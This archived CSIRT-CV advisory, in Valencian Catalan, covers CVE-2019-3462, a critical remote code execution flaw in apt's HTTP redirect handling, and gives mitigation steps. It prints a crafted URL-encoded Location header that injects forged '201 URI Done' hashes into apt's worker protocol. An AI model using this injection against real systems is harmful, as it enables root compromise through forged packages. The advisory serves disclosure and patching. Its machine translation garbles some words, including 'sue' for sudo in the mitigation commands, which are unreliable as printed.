CSIRTCV

Está usted visitando una publicación en la hemeroteca de CSIRT-CV.
Para acceder al portal y contenido actual, visite https://www.csirtcv.gva.es

23/01/2019

Execució remota de codi apt/apt-get

Investigador troba vulnerabilitat RCE en apt que permet execució de codi arbitrari com a arrel en una màquina instal·lant qualsevol paquet a través d'un atac d’intermediari (man-in-the middle) o a través d'una rèplica de paquets maliciosa.

Risc: Crític

En obtindre dades, apt desactiva els processos de treball que s'especialitzen en els diferents protocols que s'utilitzaran per a la transferència de dades. El procés principal després es comunica amb aquests processos a través de stdin / stdout per a dir-los què descarregar i on col·locar-ho en el sistema d'arxius mitjançant un protocol que s'assembla una mica a HTTP. Per exemple, quan s'executa apt install cowsay en una màquina que usa repositoris servits a través d'HTTP, apt desactivarà / usr / lib / apt / methods / http, que retorna un missatge 100 Capabilities message:

100 Capabilities Version: 1.2 Pipeline: true Send-Config: true

El procés pare enviarà la seua configuració i demanarà una font:

601 Configuration Config-Item: APT::Architecture=amd64 Config-Item: APT::Build-Essential::=build-essential Config-Item: APT::Install-Recommends=1 (...many habite lines omitted...) 600 URI Acquire URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb Filename: /var/cache/apt/arxives/partial/cowsay_3.03+dfsg2-3_all.deb Expected-SHA256: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831 Expected-MD5Sum: 27967ddb76b2c394a0714480b7072ab3 Expected-Checksum-FileSize: 20070

El procés de treball respondrà una cosa similar a:

102 Estatus URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb Message: Connecting to prod.debian.map.fastly.net 102 Estatus URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb Message: Connecting to prod.debian.map.fastly.net (2a04:4e42:8::204) 102 Estatus URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb Message: Waiting for headers 200 URI Start URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb Size: 20070 Last-Modified: Tue, 17 Jan 2017 18.05:21 +0000 201 URI Done URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb Filename: /var/cache/apt/arxives/partial/cowsay_3.03+dfsg2-3_all.deb Size: 20070 Last-Modified: Tue, 17 Jan 2017 18.05:21 +0000 MD5-Hash: 27967ddb76b2c394a0714480b7072ab3 MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3 SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831 Checksum-FileSize-Hash: 20070

Quan el servidor HTTP respon amb un redirect, el procés de treball torna un 103 Redirect en lloc de 201 URI Done, i llavors el procés principal usa aquesta resposta per a esbrinar quin recurs ha de sol·licitar a continuació:

103 Redirect URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb New-URI: http://example.com/new-uri

Desafortunadament, l’URL del procés que gestiona HTTP decodifica la capçalera Location i l'afig a la resposta 103 Redirect. Per tant si el servidor HTTP envia Location: /new-uri%0AFoo%3A%20Bar, aquest procés respondrà amb el següent:

103 Redirect URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb New-URI: http://deb.debian.org/new-uri Foo: Bar

O si el servidor HTTP envia:

Location: /payload%0A%0A201%20URI%20Done%0AURI%3A%20http%3A//deb.debian.org/payload%0AFilename%3A%20/var/

lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg%0ASize%3A%2020070%0ALast-Modified%3A%20Tue%2C%2007%20Mar%202017%2000%3A29%3A01%20%2B0000%0AMD5-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0AMD5Sum-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0ASHA256-Hash%3A%20858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831%0AChecksum-FileSize-Hash%3A%2020070%0A

el procés respondrà:

103 Redirect URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb New-URI: http://deb.debian.org/payload 201 URI Done URI: http://deb.debian.org/payload Filename: /var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg Size: 20070 Last-Modified: Tue, 07 Mar 2017 00.29:01 +0000 MD5-Hash: 27967ddb76b2c394a0714480b7072ab3 MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3 SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831 Checksum-FileSize-Hash: 20070

El procés pare confiarà en els hashes tornats en la resposta 201 URI Done i els compararà amb els valors del paquet signat.

Atés que l'atacant controla els hashes reportats, poden usar aquesta vulnerabilitat per a forjar convincentment qualsevol paquet.

Poden ampliar aquesta informació detalladament en el següent enllaç.

 

Sistemes Afectats:

Linux APT Package Manager (apt, apt-get)

Referències:

CVE-2019-3462

Solució:

Hi ha pegats per a l’error en les últimes versions d’apt. Si et preocupa haver sigut víctima d'aquesta vulnerabilitat, pots deshabilitar la redirecció HTTP mentre actualitzes:

$ sue apt update -o Acquire::http::AllowRedirect=false

$ sue apt upgrade -o Acquire::http::AllowRedirect=false

Les instruccions per a actualitzar Debian estan disponibles en aquest enllaç. Les d’Ubuntu en el següent.

 

Notes:

https://justi.cz/security/2019/01/22/apt-rce.html

https://people.canonical.com/~ubuntu-security/cve/2019/CVE-2019-3462.html

https://sensorstechforum.com/cve-2019-3462-linux-apt-package-manager/

Font: Max Justicz

CSIRT-CV